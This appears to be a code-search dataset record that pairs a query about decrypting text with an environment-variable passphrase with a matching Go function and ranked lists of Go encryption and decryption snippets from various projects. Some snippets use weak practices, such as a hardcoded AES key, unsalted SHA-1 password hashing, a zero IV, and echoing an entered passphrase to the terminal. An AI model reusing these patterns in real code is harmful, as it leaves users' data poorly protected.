ioutil.ReadFile(*enflag)\n\tsourcedata, err := os.OpenFile(dbtxt, os.O_RDONLY, 0660)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\tencryptdata, err := os.OpenFile(dbgpg, os.O_RDWR|os.O_CREATE, 0660)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\tif err0 != nil {\n\t\treturn GPG_KEY_ERROR\n\t}\n\terr2 := gp.Encode(pubkey, sourcedata, encryptdata)\n\tif err2 != nil {\n\t\treturn err2\n\t}\n\treturn nil\n}", "func EncryptPassword(pass string) (string, error) {\n\tcost := 8\n\tbytes, err := bcrypt.GenerateFromPassword([]byte(pass),cost)\n\treturn string(bytes), err\n}", "func Encrypt(data []byte, passphrase string) ([]byte, error) {\n\thash := createHash(passphrase)\n\tblock, err := aes.NewCipher(hash)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn []byte{}, err\n\t}\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext, nil\n}", "func encryptPassword(password string) string {\n\tencoded := sha1.New()\n\tencoded.Write([]byte(password))\n\treturn hex.EncodeToString(encoded.Sum(nil))\n}", "func RunEncrypt(fileList []string, cfg *config.Config) {\n\tif cfg.EncryptBackup == true && cfg.EncryptPassword != \"\" {\n\t\tfor _, f := range fileList {\n\t\t\tlog.Printf(\"Start encrypt file %s\", f)\n\t\t\terr := EncryptFile(cfg.EncryptPassword, f)\n\t\t\tlog.Printf(\"File %s was successfully encrypted\", f)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"File %s wasn't encrypted. %v\", f, err)\n\t\t\t}\n\t\t}\n\t} else if cfg.EncryptBackup == true && cfg.EncryptPassword == \"\" {\n\t\tlog.Println(\"You should set a password\")\n\t} else if cfg.EncryptBackup == false && cfg.EncryptPassword != \"\" {\n\t\tlog.Println(\"You have to enable an option `encrypt_backup` in you config file\")\n\t}\n}", "func Pass_encrypt(plain []byte, pass []byte) ([]byte, error) {\n\tvar err C.TOX_ERR_ENCRYPTION = C.TOX_ERR_ENCRYPTION_OK\n\tcipher := make([]byte, PASS_ENCRYPTION_EXTRA_LENGTH+len(plain))\n\n\tC.tox_pass_encrypt((*C.uint8_t)(&plain[0]),\n\t\tC.size_t(len(plain)),\n (*C.uint8_t)(&pass[0]),\n\t\tC.size_t(len(pass)),\n (*C.uint8_t)(&cipher[0]),\n\t &err)\n\n\tswitch err {\n\tcase C.TOX_ERR_ENCRYPTION_OK:\n\t\treturn cipher, nil\n\tcase C.TOX_ERR_ENCRYPTION_NULL:\n\t\treturn cipher, ErrNull\n\tcase C.TOX_ERR_ENCRYPTION_KEY_DERIVATION_FAILED:\n\t\treturn cipher, ErrKeyDerivationFailed\n\tcase C.TOX_ERR_ENCRYPTION_FAILED:\n\t\treturn cipher, ErrEncryptionFailed\n\tdefault:\n\t\treturn cipher, ErrInternal\n\t}\n}", "func Encrypt(publicKeyPath string, output string, data []byte) (encryptedKey, encryptedData string) {\n\t// Public key\n\tpublicKey := ReadRsaPublicKey(publicKeyPath)\n\n\t// AEs key\n\tkey := NewAesEncryptionKey()\n\t// fmt.Printf(\"AES key: %v \\n\", *key)\n\ttext := []byte(string(data))\n\tencrypted, _ := AesEncrypt(text, key)\n\n\t// Base64 encode\n\tencryptedRsa, _ := RsaEncrypt(key, publicKey)\n\tb64key := b64.StdEncoding.EncodeToString([]byte(encryptedRsa))\n\tsEnc := b64.StdEncoding.EncodeToString(encrypted)\n\n\treturn b64key, sEnc\n}", "func Encrypt(value, encKey, IV []byte) ([]byte, error) {\n\t// create the encrypter entity - we give it an ID, the bccsp instance, the key and (optionally) the IV\n\tvar bccspInst bccsp.BCCSP\n\tbccspInst = factory.GetDefault()\n\tent, err := entities.NewAES256EncrypterEntity(MAINORG, bccspInst, encKey, IV)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfmt.Printf(\"Encrypt: %s \\n\",value)\n\tciphertext, err := ent.Encrypt([]byte(value))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// here, we encrypt cleartextValue and assign it to key\n\treturn ciphertext, nil\n}", "func (ev EnvVar) String(name string, passphrase *validate.Passphrase) string {\n\tif ev.Encrypted {\n\t\tv, err := secure.Decrypt(ev.Value, passphrase.Password())\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Could not decrypt var:\", name)\n\t\t\treturn \"\"\n\t\t}\n\t\treturn fmt.Sprintf(\"%v=%v\", name, v)\n\t}\n\treturn fmt.Sprintf(\"%v=%v\", name, ev.Value)\n}", "func AesCbcEncrypt(data string, passphrase string) (string, error) {\n\t// ensure data has value\n\tif len(data) == 0 {\n\t\treturn \"\", errors.New(\"Data to Encrypt is Required\")\n\t}\n\n\t// ensure passphrase is 32 bytes\n\tif len(passphrase) < 32 {\n\t\treturn \"\", errors.New(\"Passphrase Must Be 32 Bytes\")\n\t}\n\n\t// cut the passphrase to 32 bytes only\n\tpassphrase = util.Left(passphrase, 32)\n\n\t// in cbc, data must be in block size of aes (multiples of 16 bytes),\n\t// otherwise padding needs to be performed\n\tif len(data)%aes.BlockSize != 0 {\n\t\t// pad with blank spaces up to 16 bytes\n\t\tdata = util.Padding(data, util.NextFixedLength(data, aes.BlockSize), true, ascii.AsciiToString(ascii.NUL))\n\t}\n\n\t// convert data and passphrase into byte array\n\ttext := []byte(data)\n\tkey := []byte(passphrase)\n\n\t// generate a new aes cipher using the 32 bytes key\n\tc, err1 := aes.NewCipher(key)\n\n\t// on error stop\n\tif err1 != nil {\n\t\treturn \"\", err1\n\t}\n\n\t// iv needs to be unique, but doesn't have to be secure,\n\t// its common to put it at the beginning of the cipher text\n\tcipherText := make([]byte, aes.BlockSize+len(text))\n\n\t// create iv, length must be equal to block size\n\tiv := cipherText[:aes.BlockSize]\n\n\tif _, err2 := io.ReadFull(rand.Reader, iv); err2 != nil {\n\t\treturn \"\", err2\n\t}\n\n\t// encrypt\n\tmode := cipher.NewCBCEncrypter(c, iv)\n\tmode.CryptBlocks(cipherText[aes.BlockSize:], text)\n\n\t// return encrypted data\n\treturn util.ByteToHex(cipherText), nil\n}", "func (k *Keypair) SetEncrypted(input []byte, passw string) (*Keypair, error) {\n\tif len(input) < 12 {\n\t\treturn nil, fmt.Errorf(\"invalid ciphertext\")\n\t}\n\n\tkey := Sha256H(Sha256H([]byte(passw)).Bytes())\n\tblock, err := aes.NewCipher(key.Bytes())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// 0-12 byte is nonce, 12-... is ciphertext\n\tdata, err := gcm.Open(nil, input[:12], input[12:], nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn k.SetBytes(data)\n}", "func Encrypt(secret string) string {\n\thash, err := bcrypt.GenerateFromPassword([]byte(secret), bcrypt.DefaultCost)\n\tCheck(err)\n\treturn string(hash)\n}", "func (r *copyRunner) encrypt(plaintext []byte) ([]byte, error) {\n\tif (r.password != \"\" || r.symmetricKeyFile != \"\") && (r.publicKeyFile != \"\" || r.gpgUserID != \"\") {\n\t\treturn nil, fmt.Errorf(\"only one of the symmetric-key or public-key can be used for encryption\")\n\t}\n\n\t// Perform hybrid encryption with a public-key if it exists.\n\tif r.publicKeyFile != \"\" || r.gpgUserID != \"\" {\n\t\treturn r.encryptWithPubKey(plaintext)\n\t}\n\n\t// Encrypt with a symmetric-key if key exists.\n\tkey, err := getSymmetricKey(r.password, r.symmetricKeyFile)\n\tif errors.Is(err, errNotfound) {\n\t\treturn plaintext, nil\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get key: %w\", err)\n\t}\n\tencrypted, err := pbcrypto.Encrypt(key, plaintext)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to encrypt the plaintext: %w\", err)\n\t}\n\treturn encrypted, nil\n}", "func (cfg *Config) Encrypt(data []byte) (string, error) {\n // load public key\n pubKey, err := x509.ParsePKCS1PublicKey(cfg.pubPem.Bytes)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to read public key: %v\", err)\n }\n\n // generate a random content encryption key (CEK), build an AES GCM cipher, encrypt the data\n cek := make([]byte, 32)\n rand.Read(cek)\n cipherBlock, err := aes.NewCipher(cek)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to create AES cipher block: %v\", err)\n }\n gcm, err := cipher.NewGCM(cipherBlock)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to create GCM cipher: %v\", err)\n }\n nonce := make([]byte, gcm.NonceSize())\n rand.Read(nonce)\n cipherText := gcm.Seal(nil, nonce, data, nil)\n\n // encrypt the CEK, then encode the ECEK and cipher text as JSON\n ecek, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, pubKey, cek, make([]byte, 0))\n if err != nil {\n return \"\", fmt.Errorf(\"failed to encrypt CEK: %v\", err)\n }\n jsonBytes, _ := json.Marshal(encryptedFileJSON{\n ECEK: base64.StdEncoding.EncodeToString(ecek),\n CipherText: base64.StdEncoding.EncodeToString(cipherText),\n Nonce: base64.StdEncoding.EncodeToString(nonce),\n })\n\n id, _ := uuid.NewV4()\n if err := ioutil.WriteFile(cfg.getOutFilePath(id.String()), jsonBytes, os.ModePerm); err != nil {\n return \"\", fmt.Errorf(\"failed to store encrypted data: %v\", err)\n }\n return id.String(), nil\n}", "func AesCfbEncrypt(data string, passphrase string) (string, error) {\n\t// ensure data has value\n\tif len(data) == 0 {\n\t\treturn \"\", errors.New(\"Data to Encrypt is Required\")\n\t}\n\n\t// ensure passphrase is 32 bytes\n\tif len(passphrase) < 32 {\n\t\treturn \"\", errors.New(\"Passphrase Must Be 32 Bytes\")\n\t}\n\n\t// cut the passphrase to 32 bytes only\n\tpassphrase = util.Left(passphrase, 32)\n\n\t// convert data and passphrase into byte array\n\ttext := []byte(data)\n\tkey := []byte(passphrase)\n\n\t// generate a new aes cipher using the 32 bytes key\n\tc, err1 := aes.NewCipher(key)\n\n\t// on error stop\n\tif err1 != nil {\n\t\treturn \"\", err1\n\t}\n\n\t// iv needs to be unique, but doesn't have to be secure,\n\t// its common to put it at the beginning of the cipher text\n\tcipherText := make([]byte, aes.BlockSize+len(text))\n\n\tiv := cipherText[:aes.BlockSize]\n\n\tif _, err2 := io.ReadFull(rand.Reader, iv); err2 != nil {\n\t\treturn \"\", err2\n\t}\n\n\t// encrypt\n\tstream := cipher.NewCFBEncrypter(c, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], text)\n\n\t// return encrypted data\n\treturn util.ByteToHex(cipherText), nil\n}", "func EnterKeyPhrase(keyFile string) []byte {\n\tfmt.Printf(\"Enter phrase for key %s: \", keyFile)\n\tphrase, err := terminal.ReadPassword(int(syscall.Stdin))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"%s\\n\", string(phrase))\n\treturn phrase\n}", "func (p *Polybius) Encipher(text string) string {\n\tchars := []rune(strings.ToUpper(text))\n\tres := \"\"\n\tfor _, char := range chars {\n\t\tres += p.encipherChar(char)\n\t}\n\treturn res\n}", "func GetPassPhrase(text string, confirmation bool) string {\n\tif text != \"\" {\n\t\tfmt.Println(text)\n\t}\n\tpassword, err := prompt.Stdin.PromptPassword(\"Password: \")\n\tif err != nil {\n\t\tFatalf(\"Failed to read password: %v\", err)\n\t}\n\tif confirmation {\n\t\tconfirm, err := prompt.Stdin.PromptPassword(\"Repeat password: \")\n\t\tif err != nil {\n\t\t\tFatalf(\"Failed to read password confirmation: %v\", err)\n\t\t}\n\t\tif password != confirm {\n\t\t\tFatalf(\"Passwords do not match\")\n\t\t}\n\t}\n\treturn password\n}", "func encrypt(key, buf []byte) ([]byte, error) {\n\taesCipher, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tencrypter := cipher.NewCBCEncrypter(aesCipher, make([]byte, aes.BlockSize))\n\toutput := make([]byte, len(buf))\n\tencrypter.CryptBlocks(output, buf)\n\treturn output, nil\n}", "func encrypt(contents []byte) ([]byte, error) {\n\tvar spider_key = []byte(\"cloud-barista-cb-spider-cloud-ba\") // 32 bytes\n\n\tencryptData := make([]byte, aes.BlockSize+len(contents))\n\tinitVector := encryptData[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, initVector); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipherBlock, err := aes.NewCipher(spider_key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcipherTextFB := cipher.NewCFBEncrypter(cipherBlock, initVector)\n\tcipherTextFB.XORKeyStream(encryptData[aes.BlockSize:], []byte(contents))\n\n\treturn encryptData, nil\n}", "func Encrypt(plainText []byte) ([]byte, []byte, []byte, []byte, error) {\n\n\tkey, err := crypto.GenRandom(32)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tnonce, err := crypto.GenRandom(12)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText := aesgcm.Seal(nil, nonce, plainText, nil)\n\n\tsig, err := createHMAC(key, cipherText)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText = append(cipherText, nonce...)\n\n\treturn cipherText, key, sig, key, nil\n}", "func (k *Filesystem) Encrypt(ctx context.Context, keyID string, plaintext []byte, aad []byte) ([]byte, error) {\n\tk.mu.RLock()\n\tdefer k.mu.RUnlock()\n\n\t// Find the most recent DEK - that's what we'll use for encryption\n\tpth := filepath.Join(k.root, keyID)\n\tinfos, err := os.ReadDir(pth)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to list keys: %w\", err)\n\t}\n\tif len(infos) < 1 {\n\t\treturn nil, fmt.Errorf(\"there are no key versions\")\n\t}\n\tvar latest fs.DirEntry\n\tfor _, info := range infos {\n\t\tif info.Name() == \"metadata\" {\n\t\t\tcontinue\n\t\t}\n\t\tif latest == nil {\n\t\t\tlatest = info\n\t\t\tcontinue\n\t\t}\n\t\tif info.Name() > latest.Name() {\n\t\t\tlatest = info\n\t\t}\n\t}\n\tif latest == nil {\n\t\treturn nil, fmt.Errorf(\"key %q does not exist\", keyID)\n\t}\n\n\tlatestPath := filepath.Join(pth, latest.Name())\n\tdek, err := os.ReadFile(latestPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read encryption key: %w\", err)\n\t}\n\n\tblock, err := aes.NewCipher(dek)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"bad cipher block: %w\", err)\n\t}\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to wrap cipher block: %w\", err)\n\t}\n\tnonce := make([]byte, aesgcm.NonceSize())\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to generate nonce: %w\", err)\n\t}\n\tciphertext := aesgcm.Seal(nonce, nonce, plaintext, aad)\n\n\t// Append the keyID to the ciphertext so we know which key to use to decrypt.\n\tid := []byte(latest.Name() + \":\")\n\tciphertext = append(id, ciphertext...)\n\n\treturn ciphertext, nil\n}" ]
[ "0.70665914", "0.70411", "0.68006337", "0.654031", "0.62680376", "0.6218339", "0.6185526", "0.6125841", "0.60952836", "0.6045394", "0.60277456", "0.59855455", "0.591568", "0.58814204", "0.5870277", "0.5868782", "0.5843934", "0.58263505", "0.5804144", "0.579921", "0.57987565", "0.5796739", "0.5779574", "0.57690275", "0.5767245", "0.5755146", "0.57262564", "0.572469", "0.570637", "0.570013", "0.56647617", "0.56470656", "0.5635916", "0.5627225", "0.5623163", "0.5614411", "0.5597238", "0.5525977", "0.54874045", "0.54633623", "0.5452276", "0.5447911", "0.5446156", "0.543386", "0.54256606", "0.5413955", "0.54069436", "0.53852457", "0.53795284", "0.53581214", "0.53576165", "0.5348247", "0.5343745", "0.53274703", "0.53272957", "0.53245884", "0.531041", "0.5292772", "0.5290824", "0.5286132", "0.5273497", "0.52714086", "0.52500015", "0.5243496", "0.5237445", "0.5221724", "0.5212907", "0.52073413", "0.5196115", "0.51862514", "0.5182188", "0.51783764", "0.51696676", "0.51560783", "0.51513284", "0.5150063", "0.5143363", "0.5139872", "0.5136771", "0.5130734", "0.5117964", "0.5113831", "0.51115686", "0.5110574", "0.5102939", "0.51027143", "0.5101474", "0.50995135", "0.5099456", "0.5090151", "0.5088052", "0.507947", "0.5077504", "0.5074321", "0.50742245", "0.50711864", "0.5049111", "0.5044896", "0.5041795", "0.5039681" ]
0.7965842
0
DecryptText decrypts text using a passphrase given a specific the env variable
func (v envVault) DecryptText(text string) (string, error) { return DecryptText(text, v.passPhrase) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (v passPhraseVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func (v nullVault) DecryptText(text string) (string, error) {\n\treturn text, nil\n}", "func Decrypt(encrypted string) (string, error) {\n\tencKey := os.Getenv(\"ENC_KEY\")\n\tencIv := os.Getenv(\"ENC_IV\")\n\tkey := []byte(encKey)\n\tiv := []byte(encIv)\n\tcipherText, _ := base64.StdEncoding.DecodeString(encrypted)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif len(cipherText) < aes.BlockSize {\n\t\terr := fmt.Errorf(`cipherText too short: \"%s\"`, cipherText)\n\t\treturn \"\", err\n\t}\n\tif len(cipherText)%aes.BlockSize != 0 {\n\t\terr := fmt.Errorf(`cipherText is not multiple of the block size: \"%s\"`, cipherText)\n\t\treturn \"\", err\n\t}\n\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(cipherText, cipherText)\n\n\tcipherText, _ = unpad(cipherText, aes.BlockSize)\n\treturn fmt.Sprintf(\"%s\", cipherText), nil\n}", "func decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext is too short.\")\n\t}\n\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCBCDecrypter(block, iv)\n\tcfb.CryptBlocks(text, text)//.XORKeyStream(test, test)\n\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func Decrypt(str string) (string, error) {\n\tcipherText, err := base64.URLEncoding.DecodeString(str)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tblock, err := aes.NewCipher([]byte(os.Getenv(\"ENC_KEY\")))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif len(cipherText) < aes.BlockSize {\n\t\terr = errors.New(\"Ciphertext block size is too short!\")\n\t\treturn \"\", err\n\t}\n\n\t//IV needs to be unique, but doesn't have to be secure.\n\t//It's common to put it at the beginning of the ciphertext.\n\tiv := cipherText[:aes.BlockSize]\n\tcipherText = cipherText[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(cipherText, cipherText)\n\n\treturn string(cipherText), nil\n}", "func (a Aes) Decrypt(text string) (string, error) {\n\treturn a.decrypt([]byte(a.Key), text)\n}", "func decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext too short\")\n\t}\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCFBDecrypter(block, iv)\n\tcfb.XORKeyStream(text, text)\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func (q MockService) Decrypt(encKey string, envVal string) (result string, err error) {\n\tresult = \"Q_Qesb1Z2hA7H94iXu3_buJeQ7416\"\n\terr = nil\n\n\treturn result, err\n}", "func Decrypt(encrypted string) (string, error) {\n\tdata, err := base64.StdEncoding.DecodeString(encrypted)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsecret := os.Getenv(\"TEAM254_SECRET\")\n\tif secret == \"\" {\n\t\treturn \"\", errors.New(\"TEAM254_SECRET environment variable not set.\")\n\t}\n\tsecretDigest := sha256.Sum256([]byte(secret))\n\tblock, err := aes.NewCipher(secretDigest[:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tiv := make([]byte, aes.BlockSize)\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(data, data)\n\t// Remove any PKCS#7 padding.\n\tpaddingSize := int(data[len(data)-1])\n\treturn string(data[:len(data)-paddingSize]), nil\n}", "func Decrypt(key []byte, text string) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tcipherText := decodeBase64(text)\n\tcfb := cipher.NewCFBDecrypter(block, iv)\n\tplaintext := make([]byte, len(cipherText))\n\tcfb.XORKeyStream(plaintext, cipherText)\n\treturn string(plaintext)\n}", "func (a *Agent) Decrypt(b []byte) ([]byte, error) {\n\tchallenge, cipherText, err := sshcryptdata.DecodeChallengeCipherText(string(b))\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"%s\", err)\n\t}\n\tsig, err := sshcryptactions.Sign(a.signer, challenge)\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"%s\", err)\n\t}\n\n\tclearText, ok, err := sshcryptactions.DecryptWithPassword(sig.Blob, cipherText)\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"%s\", err)\n\t}\n\tif !ok {\n\t\treturn []byte{}, fmt.Errorf(\"couldnt decrypt\")\n\t}\n\treturn []byte(clearText), nil\n}", "func (v envVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func (rs *RatchetServer) Decrypt(msg []byte) ([]byte, error) {\n\treturn rs.serverConfig.ProcessOracleMessage(msg)\n}", "func decrypt(cryptoText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\n\tblock, err := aes.NewCipher(key())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\treturn fmt.Sprintf(\"%s\", ciphertext)\n}", "func Decrypt(key []byte, encryptedText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(encryptedText)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Using IV\n\tiv := ciphertext[:aes.BlockSize]\n\n\t// Checking BlockSize = IV\n\tif len(iv) != aes.BlockSize {\n\t\tpanic(\"[Error] Ciphertext is too short!\")\n\t}\n\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\t// Decryption Process\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\treturn string(ciphertext)\n}", "func PwDecrypt(encrypted, byteSecret []byte) (string, error) {\n\n\tvar secretKey [32]byte\n\tcopy(secretKey[:], byteSecret)\n\n\tvar decryptNonce [24]byte\n\tcopy(decryptNonce[:], encrypted[:24])\n\tdecrypted, ok := secretbox.Open(nil, encrypted[24:], &decryptNonce, &secretKey)\n\tif !ok {\n\t\treturn \"\", errors.New(\"PwDecrypt(secretbox.Open)\")\n\t}\n\n\treturn string(decrypted), nil\n}", "func Decrypt(c []byte, q Poracle, l *log.Logger) (string, error) {\n\tn := len(c) / CipherBlockLen\n\tif n < 2 {\n\t\treturn \"\", ErrInvalidCiphertext\n\t}\n\tif len(c)%CipherBlockLen != 0 {\n\t\treturn \"\", ErrInvalidCiphertext\n\t}\n\t// The clear text have the same length as the cyphertext - 1\n\t// (the IV).\n\tvar m []byte\n\tfor i := 1; i < n; i++ {\n\t\tc0 := c[(i-1)*CipherBlockLen : CipherBlockLen*(i-1)+CipherBlockLen]\n\t\tc1 := c[CipherBlockLen*i : (CipherBlockLen*i)+CipherBlockLen]\n\t\tl.Printf(\"\\ndecripting block %d of %d\", i, n)\n\t\tmi, err := decryptBlock(c0, c1, q, l)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tm = append(m, mi...)\n\t}\n\treturn string(m), nil\n}", "func Decrypt(keyStr, ivStr, text string) (string, error) {\n\tkey := []byte(keyStr)\n\tiv := []byte(ivStr)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdecoded, err := base64Decode(text)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := decoded[aes.BlockSize:]\n\n\tif len(ciphertext)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"ciphertext is not a multiple of the block size\")\n\t}\n\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(ciphertext, ciphertext)\n\n\tunpaded, err := unpad(ciphertext)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%s\", unpaded), nil\n}", "func Decrypt(cryptoText string) (decryptedText string, err error) {\n\n\t// validate key\n\tif err = initKey(); err != nil {\n\t\treturn\n\t}\n\n\t// create cipher block from key\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\terr = fmt.Errorf(\"ciphertext is too small\")\n\t\treturn\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\tdecryptedText = fmt.Sprintf(\"%s\", ciphertext)\n\n\treturn\n}", "func decrypt(aesKey []byte, cipherText []byte, associatedData []byte) ([]byte, error) {\n\tcipher, err := subtle.NewAESGCM(aesKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize cipher: %v\", err)\n\t}\n\treturn cipher.Decrypt(cipherText, associatedData)\n}", "func Decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext too short\")\n\t}\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCFBDecrypter(block, iv)\n\tcfb.XORKeyStream(text, text)\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func (v *Vault) Decipher(value string) string {\n\ts5Engine := s5Vault.Client{\n\t\tClient: v.Client,\n\t\tConfig: &s5Vault.Config{\n\t\t\tKey: s.Vault.TransitKey,\n\t\t},\n\t}\n\n\tparsedInput, err := s5.ParseInput(value)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdecipheredValue, err := s5Engine.Decipher(parsedInput)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn decipheredValue\n}", "func doDecrypt(ctx context.Context, data string, subscriptionID string, providerVaultName string, providerKeyName string, providerKeyVersion string) ([]byte, error) {\n\tkvClient, vaultBaseUrl, keyName, keyVersion, err := getKey(subscriptionID, providerVaultName, providerKeyName, providerKeyVersion)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparameter := kv.KeyOperationsParameters {\n\t\tAlgorithm: kv.RSA15,\n\t\tValue: &data,\n\t}\n\t\n\tresult, err := kvClient.Decrypt(vaultBaseUrl, keyName, keyVersion, parameter)\n\tif err != nil {\n\t\tfmt.Print(\"failed to decrypt, error: \", err)\n\t\treturn nil, err\n\t}\n\tbytes, err := base64.RawURLEncoding.DecodeString(*result.Result)\n\treturn bytes, nil\n}", "func Decrypt(key []byte) []byte {\n\tdecryptedbin, err := dpapi.DecryptBytes(key)\n\terror_log.Check(err, \"Unprotect String with DPAPI\", \"decrypter\")\n\treturn decryptedbin\n}", "func (g *Gossiper) RSADecryptText(ctext string) string {\n\thash := utils.HASH_ALGO.New()\n\ttextBytes := []byte(ctext)\n\ttext := \"\"\n\n\tfor i := 0; i < len(textBytes); {\n\t\tj := int(math.Min(float64(len(textBytes)), float64(i+g.privateKey.Size())))\n\t\ttextBytes, e := rsa.DecryptOAEP(hash, rand.Reader, &g.privateKey, textBytes[i:j], nil)\n\t\tutils.HandleError(e)\n\t\ttext += string(textBytes)\n\t\ti = 